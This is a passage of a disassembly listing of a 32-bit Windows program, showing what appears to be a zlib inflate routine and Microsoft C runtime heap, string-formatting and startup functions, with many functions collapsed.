mov edx, [ebp+var_34]
add edx, [ebp+var_14]
mov [ebp+var_34], edx
mov eax, [ebp+var_4]
sub eax, [ebp+var_14]
mov [ebp+var_4], eax
mov ecx, [ebp+var_14]
shl ecx, 3
mov edx, [ebp+var_28]
sub edx, ecx
mov [ebp+var_28], edx
mov eax, [ebp+arg_10]
mov ecx, [ebp+var_10]
mov [eax+20h], ecx
mov edx, [ebp+arg_10]
mov eax, [ebp+var_28]
mov [edx+1Ch], eax
mov ecx, [ebp+arg_14]
mov edx, [ebp+var_34]
mov [ecx+4], edx
mov eax, [ebp+arg_14]
mov ecx, [ebp+var_4]
sub ecx, [eax]
mov edx, [ebp+arg_14]
mov eax, [edx+8]
add eax, ecx
mov ecx, [ebp+arg_14]
mov [ecx+8], eax
mov edx, [ebp+arg_14]
mov eax, [ebp+var_4]
mov [edx], eax
mov ecx, [ebp+arg_10]
mov edx, [ebp+var_8]
mov [ecx+34h], edx
mov eax, 0FFFFFFFDh
jmp loc_4C85C0
; ---------------------------------------------------------------------------
loc_4C832A: ; CODE XREF: sub_4C7E30+451j
mov eax, 1
test eax, eax
jnz loc_4C7FFB
loc_4C8337: ; CODE XREF: sub_4C7E30:loc_4C8243j
jmp loc_4C851B
; ---------------------------------------------------------------------------
loc_4C833C: ; CODE XREF: sub_4C7E30+13Ej
mov ecx, [ebp+var_20]
and ecx, 40h
test ecx, ecx
jnz short loc_4C83C2
mov edx, [ebp+var_1C]
mov eax, [edx+4]
mov ecx, [ebp+var_1C]
lea edx, [ecx+eax*8]
mov [ebp+var_1C], edx
mov eax, [ebp+var_20]
mov ecx, [ebp+var_10]
and ecx, dword_4EF200[eax*4]
mov edx, [ebp+var_1C]
lea eax, [edx+ecx*8]
mov [ebp+var_1C], eax
mov ecx, [ebp+var_1C]
xor edx, edx
mov dl, [ecx]
mov [ebp+var_20], edx
cmp [ebp+var_20], 0
jnz short loc_4C83BD
mov eax, [ebp+var_1C]
xor ecx, ecx
mov cl, [eax+1]
mov edx, [ebp+var_10]
shr edx, cl
mov [ebp+var_10], edx
mov eax, [ebp+var_1C]
xor ecx, ecx
mov cl, [eax+1]
mov edx, [ebp+var_28]
sub edx, ecx
mov [ebp+var_28], edx
mov eax, [ebp+var_8]
mov ecx, [ebp+var_1C]
mov dl, [ecx+4]
mov [eax], dl
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
mov ecx, [ebp+var_2C]
sub ecx, 1
mov [ebp+var_2C], ecx
jmp loc_4C851B
; ---------------------------------------------------------------------------
loc_4C83BD: ; CODE XREF: sub_4C7E30+549j
jmp loc_4C850E
; ---------------------------------------------------------------------------
loc_4C83C2: ; CODE XREF: sub_4C7E30+514j
mov edx, [ebp+var_20]
and edx, 20h
test edx, edx
jz loc_4C846A
mov eax, [ebp+arg_14]
mov ecx, [eax+4]
sub ecx, [ebp+var_34]
mov [ebp+var_14], ecx
mov edx, [ebp+var_28]
shr edx, 3
cmp edx, [ebp+var_14]
jnb short loc_4C83F2
mov eax, [ebp+var_28]
shr eax, 3
mov [ebp+var_40], eax
jmp short loc_4C83F8
; ---------------------------------------------------------------------------
loc_4C83F2: ; CODE XREF: sub_4C7E30+5B5j
mov ecx, [ebp+var_14]
mov [ebp+var_40], ecx
loc_4C83F8: ; CODE XREF: sub_4C7E30+5C0j
mov edx, [ebp+var_40]
mov [ebp+var_14], edx
mov eax, [ebp+var_34]
add eax, [ebp+var_14]
mov [ebp+var_34], eax
mov ecx, [ebp+var_4]
sub ecx, [ebp+var_14]
mov [ebp+var_4], ecx
mov edx, [ebp+var_14]
shl edx, 3
mov eax, [ebp+var_28]
sub eax, edx
mov [ebp+var_28], eax
mov ecx, [ebp+arg_10]
mov edx, [ebp+var_10]
mov [ecx+20h], edx
mov eax, [ebp+arg_10]
mov ecx, [ebp+var_28]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_14]
mov eax, [ebp+var_34]
mov [edx+4], eax
mov ecx, [ebp+arg_14]
mov edx, [ebp+var_4]
sub edx, [ecx]
mov eax, [ebp+arg_14]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_14]
mov [edx+8], ecx
mov eax, [ebp+arg_14]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_10]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov eax, 1
jmp loc_4C85C0
; ---------------------------------------------------------------------------
loc_4C846A: ; CODE XREF: sub_4C7E30+59Aj
mov ecx, [ebp+arg_14]
mov dword ptr [ecx+18h], offset aInvalidLiter_0 ; "invalid literal/length code"
mov edx, [ebp+arg_14]
mov eax, [edx+4]
sub eax, [ebp+var_34]
mov [ebp+var_14], eax
mov ecx, [ebp+var_28]
shr ecx, 3
cmp ecx, [ebp+var_14]
jnb short loc_4C8496
mov edx, [ebp+var_28]
shr edx, 3
mov [ebp+var_44], edx
jmp short loc_4C849C
; ---------------------------------------------------------------------------
loc_4C8496: ; CODE XREF: sub_4C7E30+659j
mov eax, [ebp+var_14]
mov [ebp+var_44], eax
loc_4C849C: ; CODE XREF: sub_4C7E30+664j
mov ecx, [ebp+var_44]
mov [ebp+var_14], ecx
mov edx, [ebp+var_34]
add edx, [ebp+var_14]
mov [ebp+var_34], edx
mov eax, [ebp+var_4]
sub eax, [ebp+var_14]
mov [ebp+var_4], eax
mov ecx, [ebp+var_14]
shl ecx, 3
mov edx, [ebp+var_28]
sub edx, ecx
mov [ebp+var_28], edx
mov eax, [ebp+arg_10]
mov ecx, [ebp+var_10]
mov [eax+20h], ecx
mov edx, [ebp+arg_10]
mov eax, [ebp+var_28]
mov [edx+1Ch], eax
mov ecx, [ebp+arg_14]
mov edx, [ebp+var_34]
mov [ecx+4], edx
mov eax, [ebp+arg_14]
mov ecx, [ebp+var_4]
sub ecx, [eax]
mov edx, [ebp+arg_14]
mov eax, [edx+8]
add eax, ecx
mov ecx, [ebp+arg_14]
mov [ecx+8], eax
mov edx, [ebp+arg_14]
mov eax, [ebp+var_4]
mov [edx], eax
mov ecx, [ebp+arg_10]
mov edx, [ebp+var_8]
mov [ecx+34h], edx
mov eax, 0FFFFFFFDh
jmp loc_4C85C0
; ---------------------------------------------------------------------------
loc_4C850E: ; CODE XREF: sub_4C7E30:loc_4C83BDj
mov eax, 1
test eax, eax
jnz loc_4C7F44
loc_4C851B: ; CODE XREF: sub_4C7E30+10Fj
; sub_4C7E30:loc_4C8337j ...
cmp [ebp+var_2C], 102h
jb short loc_4C852E
cmp [ebp+var_34], 0Ah
jnb loc_4C7EAA
loc_4C852E: ; CODE XREF: sub_4C7E30+6F2j
mov ecx, [ebp+arg_14]
mov edx, [ecx+4]
sub edx, [ebp+var_34]
mov [ebp+var_14], edx
mov eax, [ebp+var_28]
shr eax, 3
cmp eax, [ebp+var_14]
jnb short loc_4C8550
mov ecx, [ebp+var_28]
shr ecx, 3
mov [ebp+var_48], ecx
jmp short loc_4C8556
; ---------------------------------------------------------------------------
loc_4C8550: ; CODE XREF: sub_4C7E30+713j
mov edx, [ebp+var_14]
mov [ebp+var_48], edx
loc_4C8556: ; CODE XREF: sub_4C7E30+71Ej
mov eax, [ebp+var_48]
mov [ebp+var_14], eax
mov ecx, [ebp+var_34]
add ecx, [ebp+var_14]
mov [ebp+var_34], ecx
mov edx, [ebp+var_4]
sub edx, [ebp+var_14]
mov [ebp+var_4], edx
mov eax, [ebp+var_14]
shl eax, 3
mov ecx, [ebp+var_28]
sub ecx, eax
mov [ebp+var_28], ecx
mov edx, [ebp+arg_10]
mov eax, [ebp+var_10]
mov [edx+20h], eax
mov ecx, [ebp+arg_10]
mov edx, [ebp+var_28]
mov [ecx+1Ch], edx
mov eax, [ebp+arg_14]
mov ecx, [ebp+var_34]
mov [eax+4], ecx
mov edx, [ebp+arg_14]
mov eax, [ebp+var_4]
sub eax, [edx]
mov ecx, [ebp+arg_14]
mov edx, [ecx+8]
add edx, eax
mov eax, [ebp+arg_14]
mov [eax+8], edx
mov ecx, [ebp+arg_14]
mov edx, [ebp+var_4]
mov [ecx], edx
mov eax, [ebp+arg_10]
mov ecx, [ebp+var_8]
mov [eax+34h], ecx
xor eax, eax
loc_4C85C0: ; CODE XREF: sub_4C7E30+4F5j
; sub_4C7E30+635j ...
mov esp, ebp
pop ebp
retn
sub_4C7E30 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4C85C4 proc near ; CODE XREF: sub_4B3AFF+1AAp
; sub_4B3AFF+233p ...
jmp dword_4ED270
sub_4C85C4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4C85CA proc near ; CODE XREF: sub_4B40C4+440p
jmp dword_4ED238
sub_4C85CA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4C85D0 proc near ; CODE XREF: sub_4B40C4+3B1p
jmp dword_4ED234
sub_4C85D0 endp
; =============== S U B R O U T I N E =======================================
sub_4C85D6 proc near ; CODE XREF: .text:0048D07Bp
; sub_48D2A6+E4p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_4CA2FB
pop ecx
retn
sub_4C85D6 endp
; =============== S U B R O U T I N E =======================================
sub_4C85E1 proc near ; CODE XREF: .text:0048D00Ap
; sub_48D2A6+Fp ...
arg_0 = dword ptr 4
push 1
push [esp+4+arg_0]
call __nh_malloc_0
pop ecx
pop ecx
retn
sub_4C85E1 endp
; ---------------------------------------------------------------------------
align 10h
; [00000335 BYTES: COLLAPSED FUNCTION _memcpy_1. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000335 BYTES: COLLAPSED FUNCTION _memcpy_2. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000AC BYTES: COLLAPSED FUNCTION _memcmp_0. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000058 BYTES: COLLAPSED FUNCTION _memset_0. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000002F BYTES: COLLAPSED FUNCTION __alloca_probe_0. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000005 BYTES: COLLAPSED CHUNK OF FUNCTION _strchr_0. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000BC BYTES: COLLAPSED FUNCTION _strchr_0. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000007 BYTES: COLLAPSED FUNCTION _strcpy_0. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000E0 BYTES: COLLAPSED FUNCTION _strcat_0. PRESS KEYPAD "+" TO EXPAND]
; [00000027 BYTES: COLLAPSED FUNCTION _strrchr_0. PRESS KEYPAD "+" TO EXPAND]
; [00000029 BYTES: COLLAPSED FUNCTION _wcschr. PRESS KEYPAD "+" TO EXPAND]
; [00000025 BYTES: COLLAPSED FUNCTION _wcscpy. PRESS KEYPAD "+" TO EXPAND]
; [00000040 BYTES: COLLAPSED FUNCTION _wcsrchr. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000007B BYTES: COLLAPSED FUNCTION _strlen_0. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000FE BYTES: COLLAPSED FUNCTION _strncpy_0. PRESS KEYPAD "+" TO EXPAND]
; [0000001D BYTES: COLLAPSED FUNCTION _wcslen_0. PRESS KEYPAD "+" TO EXPAND]
; [0000003D BYTES: COLLAPSED FUNCTION _wcsncpy. PRESS KEYPAD "+" TO EXPAND]
; [0000002D BYTES: COLLAPSED FUNCTION __cinit_0. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION _exit_0. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __exit_0. PRESS KEYPAD "+" TO EXPAND]
; [00000099 BYTES: COLLAPSED FUNCTION _doexit_0. PRESS KEYPAD "+" TO EXPAND]
; [0000001A BYTES: COLLAPSED FUNCTION __initterm_0. PRESS KEYPAD "+" TO EXPAND]
; [00000052 BYTES: COLLAPSED FUNCTION _sprintf_0. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_4C935C proc near ; CODE XREF: .text:004B56D2p
; .text:004B5DCDp ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
mov eax, dword_4F4A20
mov dword_4F4A20, ecx
retn
sub_4C935C endp
; [0000001B BYTES: COLLAPSED FUNCTION __callnewh_0. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000020 BYTES: COLLAPSED FUNCTION __global_unwind2_0. PRESS KEYPAD "+" TO EXPAND]
; [00000022 BYTES: COLLAPSED FUNCTION __unwind_handler_0. PRESS KEYPAD "+" TO EXPAND]
; [00000068 BYTES: COLLAPSED FUNCTION __local_unwind2_0. PRESS KEYPAD "+" TO EXPAND]
; [00000023 BYTES: COLLAPSED FUNCTION __abnormal_termination_0. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
__NLG_Notify1_0:
push ebx
push ecx
mov ebx, offset dword_4EF280
jmp short loc_4C9468
; [00000018 BYTES: COLLAPSED FUNCTION __NLG_Notify_0. PRESS KEYPAD "+" TO EXPAND]
align 4
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; [000000BD BYTES: COLLAPSED FUNCTION unknown_libname_18. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
unknown_libname_19: ; Microsoft VisualC 2-8/net runtime
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call __local_unwind2_0
add esp, 8
pop ebp
retn 4
; [0000008B BYTES: COLLAPSED FUNCTION _atol_0. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_4C95E3(char *Str)
sub_4C95E3 proc near ; CODE XREF: WinMain(x,x,x,x)+150p
Str = dword ptr 4
push [esp+Str] ; Str
call _atol_0
pop ecx
retn
sub_4C95E3 endp
; [00000028 BYTES: COLLAPSED FUNCTION _isdigit. PRESS KEYPAD "+" TO EXPAND]
; [000000DC BYTES: COLLAPSED FUNCTION _time_0. PRESS KEYPAD "+" TO EXPAND]
; [00000051 BYTES: COLLAPSED FUNCTION _vsprintf. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_4C9743 proc near ; CODE XREF: .text:004BE4C8p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push 0
push [esp+4+arg_C]
push [esp+8+arg_8]
push [esp+0Ch+arg_4]
push [esp+10h+arg_0]
call sub_4C975E
add esp, 14h
retn
sub_4C9743 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4C975E proc near ; CODE XREF: sub_4C9743+12p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_10]
mov [ebp+var_4], eax
test ebx, ebx
jnz short loc_4C9776
mov ebx, off_4EF290
loc_4C9776: ; CODE XREF: sub_4C975E+10j
test eax, eax
jbe loc_4C9809
push esi
mov esi, [ebp+arg_8]
loc_4C9782: ; CODE XREF: sub_4C975E+94j
mov al, [esi]
test al, al
jz short loc_4C97F4
cmp al, 25h
jz short loc_4C97BE
mov edx, off_4EF354
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_4C97AE
cmp [ebp+var_4], 1
jbe short loc_4C97AE
mov ecx, [ebp+arg_0]
mov [ecx], al
inc [ebp+arg_0]
inc esi
dec [ebp+var_4]
loc_4C97AE: ; CODE XREF: sub_4C975E+3Cj
; sub_4C975E+42j
mov ecx, [ebp+arg_0]
mov al, [esi]
mov [ecx], al
inc [ebp+arg_0]
inc esi
dec [ebp+var_4]
jmp short loc_4C97EE
; ---------------------------------------------------------------------------
loc_4C97BE: ; CODE XREF: sub_4C975E+2Cj
and dword_4F6028, 0
inc esi
cmp byte ptr [esi], 23h
jnz short loc_4C97D6
mov dword_4F6028, 1
inc esi
loc_4C97D6: ; CODE XREF: sub_4C975E+6Bj
lea eax, [ebp+var_4]
push ebx
push eax
lea eax, [ebp+arg_0]
push eax
mov al, [esi]
push [ebp+arg_C]
push eax
call __expandtime
add esp, 14h
inc esi
loc_4C97EE: ; CODE XREF: sub_4C975E+5Ej
cmp [ebp+var_4], 0
ja short loc_4C9782
loc_4C97F4: ; CODE XREF: sub_4C975E+28j
cmp [ebp+var_4], 0
pop esi
jbe short loc_4C9809
mov eax, [ebp+arg_0]
and byte ptr [eax], 0
mov eax, [ebp+arg_4]
sub eax, [ebp+var_4]
jmp short loc_4C980B
; ---------------------------------------------------------------------------
loc_4C9809: ; CODE XREF: sub_4C975E+1Aj
; sub_4C975E+9Bj
xor eax, eax
loc_4C980B: ; CODE XREF: sub_4C975E+A9j
pop ebx
leave
retn
sub_4C975E endp
; [000003EF BYTES: COLLAPSED FUNCTION __expandtime. PRESS KEYPAD "+" TO EXPAND]
; [00000027 BYTES: COLLAPSED FUNCTION __store_str. PRESS KEYPAD "+" TO EXPAND]
; [0000006F BYTES: COLLAPSED FUNCTION __store_num. PRESS KEYPAD "+" TO EXPAND]
; [00000049 BYTES: COLLAPSED FUNCTION __store_number. PRESS KEYPAD "+" TO EXPAND]
; [000002CF BYTES: COLLAPSED FUNCTION __store_winword. PRESS KEYPAD "+" TO EXPAND]
; [00000160 BYTES: COLLAPSED FUNCTION _localtime. PRESS KEYPAD "+" TO EXPAND]
; [000000D7 BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
mov eax, [ebp-14h]
mov ecx, [eax]
mov ecx, [ecx]
mov [ebp-68h], ecx
push eax
push ecx
call __XcptFilter_0
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
push dword ptr [ebp-68h]
call __exit_0
; [00000022 BYTES: COLLAPSED FUNCTION __amsg_exit_0. PRESS KEYPAD "+" TO EXPAND]
pop ecx
pop ecx
retn
; [00000024 BYTES: COLLAPSED FUNCTION _fast_error_exit_0. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4CA24A(size_t Size,int)
sub_4CA24A proc near ; CODE XREF: sub_4C169E+1Fp
; ___initstdio_0+22p ...
Size = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+Size]
imul esi, [ebp+arg_4]
cmp esi, 0FFFFFFE0h
push edi
mov [ebp+Size], esi
ja short loc_4CA26B
test esi, esi
jnz short loc_4CA265
push 1
pop esi
loc_4CA265: ; CODE XREF: sub_4CA24A+16j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_4CA26B: ; CODE XREF: sub_4CA24A+12j
; sub_4CA24A+94j
xor edi, edi
cmp esi, 0FFFFFFE0h
ja short loc_4CA2CA
mov eax, dword_4F5F04
cmp eax, 3
jnz short loc_4CA296
mov eax, [ebp+Size]
cmp eax, dword_4F5EFC
ja short loc_4CA2B5
push eax
call ___sbh_alloc_block_0
mov edi, eax
pop ecx
test edi, edi
jnz short loc_4CA2E0
jmp short loc_4CA2B5
; ---------------------------------------------------------------------------
loc_4CA296: ; CODE XREF: sub_4CA24A+30j
cmp eax, 2
jnz short loc_4CA2B5
cmp esi, dword_4F177C
ja short loc_4CA2B5
mov eax, esi
shr eax, 4
push eax
call sub_4CCEF1
mov edi, eax
pop ecx
test edi, edi
jnz short loc_4CA2F4
loc_4CA2B5: ; CODE XREF: sub_4CA24A+3Bj
; sub_4CA24A+4Aj ...
push esi
push 8
push dword_4F5F00
call dword_4ED18C ; RtlAllocateHeap
mov edi, eax
test edi, edi
jnz short loc_4CA2EE
loc_4CA2CA: ; CODE XREF: sub_4CA24A+26j
cmp dword_4F4C44, 0
jz short loc_4CA2EE
push esi
call __callnewh_0
test eax, eax
pop ecx
jz short loc_4CA2F7
jmp short loc_4CA26B
; ---------------------------------------------------------------------------
loc_4CA2E0: ; CODE XREF: sub_4CA24A+48j
push [ebp+Size] ; Size
loc_4CA2E3: ; CODE XREF: sub_4CA24A+ABj
push 0 ; Val
push edi ; Dst
call _memset_0
add esp, 0Ch
loc_4CA2EE: ; CODE XREF: sub_4CA24A+7Ej
; sub_4CA24A+87j
mov eax, edi
loc_4CA2F0: ; CODE XREF: sub_4CA24A+AFj
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4CA2F4: ; CODE XREF: sub_4CA24A+69j
push esi
jmp short loc_4CA2E3
; ---------------------------------------------------------------------------
loc_4CA2F7: ; CODE XREF: sub_4CA24A+92j
xor eax, eax
jmp short loc_4CA2F0
sub_4CA24A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4CA2FB proc near ; CODE XREF: sub_4C16C7+7p
; sub_4C85D6+4p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
mov esi, [ebp+arg_0]
test esi, esi
jz short loc_4CA361
mov eax, dword_4F5F04
cmp eax, 3
jnz short loc_4CA327
push esi
call ___sbh_find_block_0
pop ecx
test eax, eax
push esi
jz short loc_4CA353
push eax
call sub_4CC125
pop ecx
pop ecx
jmp short loc_4CA361
; ---------------------------------------------------------------------------
loc_4CA327: ; CODE XREF: sub_4CA2FB+14j
cmp eax, 2
jnz short loc_4CA352
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_4]
push eax
push esi
call sub_4CCE55
add esp, 0Ch
test eax, eax
jz short loc_4CA352
push eax
push [ebp+arg_0]
push [ebp+var_4]
call sub_4CCEAC
add esp, 0Ch
jmp short loc_4CA361
; ---------------------------------------------------------------------------
loc_4CA352: ; CODE XREF: sub_4CA2FB+2Fj
; sub_4CA2FB+44j
push esi
loc_4CA353: ; CODE XREF: sub_4CA2FB+20j
push 0
push dword_4F5F00
call dword_4ED188 ; RtlFreeHeap
loc_4CA361: ; CODE XREF: sub_4CA2FB+Aj
; sub_4CA2FB+2Aj ...
pop esi
leave
retn
sub_4CA2FB endp
; [00000012 BYTES: COLLAPSED FUNCTION _malloc_0. PRESS KEYPAD "+" TO EXPAND]
; [0000002C BYTES: COLLAPSED FUNCTION __nh_malloc_0. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_4CA3A2 proc near ; CODE XREF: __nh_malloc_0+Bp
arg_0 = dword ptr 4
mov eax, dword_4F5F04
push esi
mov esi, [esp+4+arg_0]
cmp eax, 3
jnz short loc_4CA3C6
cmp esi, dword_4F5EFC
ja short loc_4CA3F8
push esi
call ___sbh_alloc_block_0
test eax, eax
pop ecx
jz short loc_4CA3F8
pop esi
retn
; ---------------------------------------------------------------------------
loc_4CA3C6: ; CODE XREF: sub_4CA3A2+Dj
cmp eax, 2
jnz short loc_4CA3F8
mov eax, [esp+4+arg_0]
test eax, eax
jz short loc_4CA3DB
lea esi, [eax+0Fh]
and esi, 0FFFFFFF0h
jmp short loc_4CA3DE
; ---------------------------------------------------------------------------
loc_4CA3DB: ; CODE XREF: sub_4CA3A2+2Fj
push 10h
pop esi
loc_4CA3DE: ; CODE XREF: sub_4CA3A2+37j
cmp esi, dword_4F177C
ja short loc_4CA405
mov eax, esi
shr eax, 4
push eax
call sub_4CCEF1
test eax, eax
pop ecx
jnz short loc_4CA414
jmp short loc_4CA405
; ---------------------------------------------------------------------------
loc_4CA3F8: ; CODE XREF: sub_4CA3A2+15j
; sub_4CA3A2+20j ...
test esi, esi
jnz short loc_4CA3FF
push 1
pop esi
loc_4CA3FF: ; CODE XREF: sub_4CA3A2+58j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_4CA405: ; CODE XREF: sub_4CA3A2+42j
; sub_4CA3A2+54j
push esi
push 0
push dword_4F5F00
call dword_4ED18C ; RtlAllocateHeap
loc_4CA414: ; CODE XREF: sub_4CA3A2+52j
pop esi
retn
sub_4CA3A2 endp
; [00000115 BYTES: COLLAPSED FUNCTION __flsbuf_0. PRESS KEYPAD "+" TO EXPAND]
; [00000721 BYTES: COLLAPSED FUNCTION __output_0. PRESS KEYPAD "+" TO EXPAND]
off_4CAC4C dd offset $NORMAL_STATE$1535_0 ; DATA XREF: __output_0+6Er
dd offset loc_4CA5A0 ; jump table for switch statement
dd offset loc_4CA5BB
dd offset loc_4CA607
dd offset loc_4CA63E
dd offset loc_4CA646
dd offset loc_4CA67B
dd offset loc_4CA70E
; [00000035 BYTES: COLLAPSED FUNCTION _write_char_0. PRESS KEYPAD "+" TO EXPAND]
; [00000031 BYTES: COLLAPSED FUNCTION _write_multi_char_0. PRESS KEYPAD "+" TO EXPAND]
; [00000038 BYTES: COLLAPSED FUNCTION _write_string_0. PRESS KEYPAD "+" TO EXPAND]
; [0000000D BYTES: COLLAPSED FUNCTION _get_int_arg_0. PRESS KEYPAD "+" TO EXPAND]
; [00000010 BYTES: COLLAPSED FUNCTION _get_int64_arg_0. PRESS KEYPAD "+" TO EXPAND]
; [0000000E BYTES: COLLAPSED FUNCTION _get_short_arg_0. PRESS KEYPAD "+" TO EXPAND]
; [00000075 BYTES: COLLAPSED FUNCTION __isctype_0. PRESS KEYPAD "+" TO EXPAND]
align 10h
__allmul_0:
mov eax, [esp+8]
mov ecx, [esp+10h]
or ecx, eax
mov ecx, [esp+0Ch]
jnz short loc_4CADC9
mov eax, [esp+4]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_4CADC9: ; CODE XREF: .text:004CADBEj
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+8]
mul dword ptr [esp+14h]
add ebx, eax
mov eax, [esp+8]
mul ecx
add edx, ebx
pop ebx
retn 10h
; [000000C2 BYTES: COLLAPSED FUNCTION ___loctotime_t_0. PRESS KEYPAD "+" TO EXPAND]
; [00000015 BYTES: COLLAPSED FUNCTION ___tzset_0. PRESS KEYPAD "+" TO EXPAND]
; [0000025E BYTES: COLLAPSED FUNCTION __tzset_0. PRESS KEYPAD "+" TO EXPAND]
; [000001AC BYTES: COLLAPSED FUNCTION __isindst_0. PRESS KEYPAD "+" TO EXPAND]
; [00000140 BYTES: COLLAPSED FUNCTION _cvtdate_0. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000008C BYTES: COLLAPSED FUNCTION unknown_libname_20. PRESS KEYPAD "+" TO EXPAND]
; [000000F9 BYTES: COLLAPSED FUNCTION _gmtime. PRESS KEYPAD "+" TO EXPAND]
; [00000141 BYTES: COLLAPSED FUNCTION __XcptFilter_0. PRESS KEYPAD "+" TO EXPAND]
; [00000043 BYTES: COLLAPSED FUNCTION _xcptlookup_0. PRESS KEYPAD "+" TO EXPAND]
; [00000058 BYTES: COLLAPSED FUNCTION __wincmdln_0. PRESS KEYPAD "+" TO EXPAND]
; [000000B9 BYTES: COLLAPSED FUNCTION __setenvp_0. PRESS KEYPAD "+" TO EXPAND]
; [00000099 BYTES: COLLAPSED FUNCTION __setargv_0. PRESS KEYPAD "+" TO EXPAND]
; [000001B4 BYTES: COLLAPSED FUNCTION _parse_cmdline_0. PRESS KEYPAD "+" TO EXPAND]
; [00000132 BYTES: COLLAPSED FUNCTION ___crtGetEnvironmentStringsA_0. PRESS KEYPAD "+" TO EXPAND]
; [000001AB BYTES: COLLAPSED FUNCTION __ioinit_0. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_4CBD54 proc near ; CODE XREF: sub_4CBD81+136p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 0
and dword ptr [esi], 0
call dword_4ED050 ; GetModuleHandleA
cmp word ptr [eax], 5A4Dh
jnz short loc_4CBD7F
mov ecx, [eax+3Ch]
test ecx, ecx
jz short loc_4CBD7F
add eax, ecx
mov cl, [eax+1Ah]
mov [esi], cl
mov al, [eax+1Bh]
mov [esi+1], al
loc_4CBD7F: ; CODE XREF: sub_4CBD54+15j
; sub_4CBD54+1Cj
pop esi
retn
sub_4CBD54 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4CBD81 proc near ; CODE XREF: sub_4CBEC9+20p
Str2 = byte ptr -122Ch
SubStr = byte ptr -19Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_88 = dword ptr -88h
var_4 = byte ptr -4
push ebp
mov ebp, esp
mov eax, 122Ch
call __alloca_probe_0
lea eax, [ebp+var_98]
push ebx
push eax
mov [ebp+var_98], 94h
call dword_4ED1B0 ; GetVersionExA
test eax, eax
jz short loc_4CBDC4
cmp [ebp+var_88], 2
jnz short loc_4CBDC4
cmp [ebp+var_94], 5
jb short loc_4CBDC4
push 1
pop eax
jmp loc_4CBEC6
; ---------------------------------------------------------------------------
loc_4CBDC4: ; CODE XREF: sub_4CBD81+27j
; sub_4CBD81+30j ...
lea eax, [ebp+Str2]
push 1090h
push eax
push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
call dword_4ED068 ; GetEnvironmentVariableA
test eax, eax
jz loc_4CBEB3
xor ebx, ebx
lea ecx, [ebp+Str2]
cmp [ebp+Str2], bl
jz short loc_4CBE06
loc_4CBDF3: ; CODE XREF: sub_4CBD81+83j
mov al, [ecx]
cmp al, 61h
jl short loc_4CBE01
cmp al, 7Ah
jg short loc_4CBE01
sub al, 20h
mov [ecx], al
loc_4CBE01: ; CODE XREF: sub_4CBD81+76j
; sub_4CBD81+7Aj
inc ecx
cmp [ecx], bl
jnz short loc_4CBDF3
loc_4CBE06: ; CODE XREF: sub_4CBD81+70j
lea eax, [ebp+Str2]
push 16h ; MaxCount
push eax ; Str2
